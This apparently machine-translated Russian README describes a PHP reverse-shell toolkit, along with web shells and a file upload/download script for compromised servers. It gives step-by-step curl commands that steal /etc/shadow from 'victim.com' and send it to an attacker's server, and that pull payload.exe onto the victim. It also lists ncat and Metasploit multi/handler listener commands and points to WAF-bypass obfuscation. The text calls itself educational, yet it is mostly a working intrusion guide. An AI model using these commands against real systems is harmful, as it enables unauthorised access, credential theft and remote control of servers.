Просто немного освежиться на популярном сценарии PHP обратной оболочки Pentestmonkey/Php-Reverse-Shell. Кредиты оригинальному автору!
Работает на ОС Linux и MacOS с /bin/sh и Windows с cmd.exe . Скрипт автоматически обнаружит базовую ОС.
Работает как с ncat , так и с multi/handler .
Протестировано на XAMPP для Linux V7.3.19 (64-бит) с PHP V7.3.19 на Kali Linux V2020.2 (64-бит).
Протестировано на XAMPP для OS X V7.4.10 (64-бит) с PHP V7.4.10 на MacOS Catalina V10.15.6 (64-бит).
Протестировано на XAMPP для Windows V7.4.3 (64-бит) с PHP v7.4.3 в Windows 10 Enterprise OS (64-битная).
Кроме того, все было протестировано на Docker Images Nouphet/Docker-PHP4 с PHP V4.4.0 и Steeze/PHP52-Nginx с PHP V5.2.17.
Сделано для образовательных целей. Надеюсь, это поможет!
Процессы в ОС Windows не поддерживают асинхронные операции, поэтому stream_set_blocking() , stream_select() и feof() не будут работать должным образом, но я нашел обходной путь.
/src/reverse/php_reverse_shell.php требует php v5.0.0 или выше.
/src/reverse/php_reverse_shell_older.php требует PHP V4.3.0 или выше.
По мере необходимости измените IP -адрес и номер порта внутри сценариев.
Copy /src/reverse/php_reverse_shell.php в веб -каталог вашего сервера (например, в/opt/lampp/htdocs/on xampp) или загрузите его на веб -сервер вашей цели.
Перейдите в файл с предпочтительным веб -браузером.
Проверьте простую веб -оболочку PHP на основе запроса POST HTTP.
Проверьте простую веб -оболочку PHP на основе запроса http get. Вы должны URL кодировать ваши команды.
Проверьте простой PHP Web Shell V2 на основе запроса http get. Вы должны URL кодировать ваши команды.
Узнайте больше о методах запутывания PHP для старых версий PHP в LCATRO/PHP-WEBSHELL-BYPASS-WAF. Кредиты автору!
Проверьте простой сценарий загрузки/загрузки файла PHP на основе HTTP Post запрос для загрузки файла и HTTP GET запрос для загрузки файла.
При загрузке файла вы должны кодировать путь к файлу и не забудьте указать выходной файл при использовании curl.
При загрузке файла не забудьте указать @ до пути файла.
В зависимости от конфигурации сервера, загрузка файла через HTTP GET Параметр запроса не всегда может работать, вместо этого вам придется жесткий путь файла в скрипте.
Перейдите к сценарию на веб -сервере жертвы с помощью предпочтительного веб -браузера или используйте Curl с вашего ПК.
Загрузите файл в веб -каталог сервера с вашего ПК:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Загрузите файл с сервера на свой ПК:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Если вы поднимаете свои первоначальные привилегии в рамках вашей обратной оболочки, этот сценарий может не иметь таких же привилегий, как оболочка. В этом случае, чтобы загрузить определенный файл, вам может потребоваться скопировать файл в Web Root Directory и установить необходимые разрешения на чтение.
Из вашей обратной оболочки PHP запустите следующие команды Curl.
Загрузите файл с ПК жертвы в Web Root Directory вашего сервера:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Загрузите файл из Web Root Directory вашего сервера на ПК жертву:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Чтобы настроить слушателя, откройте предпочтительную консоль на Kali Linux и запустите один из примеров ниже.
Настройка ncat слушатель:
ncat -nvlp 9000
Настройте слушатель multi/handler :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Рисунок 1 - NCAT

Рисунок 2 - Сброс сценария